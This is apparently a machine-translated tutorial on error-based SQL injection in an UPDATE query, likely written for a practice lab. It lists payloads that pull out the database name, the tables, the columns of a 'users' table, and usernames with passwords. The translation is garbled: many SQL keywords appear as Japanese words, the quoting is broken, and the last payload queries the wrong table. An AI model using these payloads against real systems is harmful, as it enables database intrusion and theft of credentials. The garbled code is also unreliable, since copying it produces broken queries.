予備知識:ロジックまたはロジックを持つと
(1)AまたはB:trueの場合は、次に何チューブBは、直接にtrueを返していません。
(2)AおよびB:falseの場合、何チューブBは、直接falseを返していません。
(3)優先度:等号>及び>または。
アプリケーション:
(1)
更新ユーザーは、SETパスワードを= 「」 または 0 WHEREユーザー名= 「ADMIN 」(三つのフィールドがあり、図中のID、ユーザ名、パスワード)
(2)
更新ユーザーが設定したパスワードを= 「1234 」 または 0 のユーザ名= 「管理者を」
(3)
更新、ユーザーが設定したパスワードを= 「」 と 1 どこ名= 「管理者」
(4)
更新、ユーザーが設定したパスワードを= 「1234 」 と 1を どこ名= 「管理者」
本体:
1、データベース名にアクセス
' または(CONCAT_WSによってSELECT COUNT(*)INFORMATION_SCHEMA.TABLESグループから(' - '(データベースを選択します())、床(RAND(0)* 2)))ユーザー名='管理者- //不要忘记空格 或者 1234 ' と(選択 数(*)から INFORMATION_SCHEMA.TABLESのグループ によって CONCAT_WS(' - '( 選択 データベース())、床(ランド(0)* 2)))ここで、ユーザ名='管理-
2、セキュリティテーブルに取得したデータ
' または(CONCAT_WSによって選択数(*)INFORMATION_SCHEMA.TABLES基から(' - '(ここでTABLE_SCHEMA = INFORMATION_SCHEMA.TABLESからGROUP_CONCAT(TABLE_NAME)を選択し'セキュリティ」)、床(RAND(0)* 2)))ここでユーザ名= '管理者' - 或者 1234 ' と(選択 数(*)から INFORMATION_SCHEMA.TABLESのグループ によって CONCAT_WS(' - "、(選択 GROUP_CONCAT(table_nameの)から INFORMATION_SCHEMA.TABLES どこにTABLE_SCHEMA = ' セキュリティ')、床(ランド(0)* 2)))ここで、ユーザ名= ' 管理者' -
図3に示すように、ユーザは、テーブルのフィールドを取得します
' またはCONCAT_WSにより、(SELECT COUNT(*)INFORMATION_SCHEMA.TABLESグループから(' - '(information_schema.columns TABLE_SCHEMA =からGROUP_CONCAT(COLUMN_NAME)を選択し'セキュリティ' とtable_nameは= 'ユーザー" )、床(RAND(0) * 2)))ユーザー名= '管理者' -
4、ユーザーがユーザー名とパスワードを取得します
' or (select count(*) from information_schema.tables group by concat_ws('-',(select concat_ws('-',username,password) from information_schema.tables where table_name='users' limit 0,1),floor(rand(0)*2))) where username='admin'--